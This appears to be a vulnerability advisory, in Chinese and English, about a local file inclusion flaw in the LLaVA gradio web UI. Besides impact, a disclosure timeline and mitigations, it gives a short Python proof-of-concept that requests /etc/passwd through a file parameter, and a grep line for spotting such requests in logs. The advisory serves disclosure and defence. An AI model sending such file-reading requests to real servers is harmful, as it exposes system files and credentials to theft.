haotian-liu/llava 中的本地文件包含漏洞

攻击者利用此LFI漏洞可以读取系统上的任何文件，包括敏感配置信息、密钥、源代码等。这可能导致信息泄露、权限提升，甚至远程代码执行。攻击者可以利用此漏洞获取数据库凭据，从而访问数据库中的敏感数据。如果LLaVA与其它系统集成，攻击者可能通过此漏洞进行横向移动，进一步扩大攻击范围。此漏洞的潜在影响范围取决于系统配置和数据敏感性。

Users deploying LLaVA for research or experimentation, particularly those using the gradio web UI for interactive demonstrations, are at risk. Shared hosting environments where LLaVA is deployed alongside other applications are also vulnerable, as a successful exploit could potentially compromise the entire host.

• python / server:

import os
import requests

# Target URL
url = "http://your-llava-server/gradio_app"

# Attempt to read a sensitive file
file_to_read = "/etc/passwd"

# Craft the request
params = {'file': file_to_read}

# Send the request
response = requests.get(url, params=params)

# Check the response
if response.status_code == 200:
    print(f"File content: {response.text}")
else:
    print(f"Request failed with status code: {response.status_code}")

• linux / server:

# Monitor access logs for suspicious file requests
grep -i "/etc/passwd" /var/log/apache2/access.log

1. 2025-03-20Disclosure

   disclosure

1. 已保留2024-12-02
2. 发布日期2025-03-20
3. 修改日期2025-10-15
4. EPSS 更新日期2026-04-02

目前，官方尚未发布具体的修复版本。作为临时缓解措施，建议对LLaVA的输入进行严格的验证和过滤，确保用户提供的输入不包含恶意路径。可以考虑使用Web应用防火墙（WAF）来阻止恶意请求。此外，应限制LLaVA的访问权限，只允许其访问必要的文件和目录。在升级到修复版本后，请确认输入验证机制是否有效，并检查系统日志是否存在异常活动。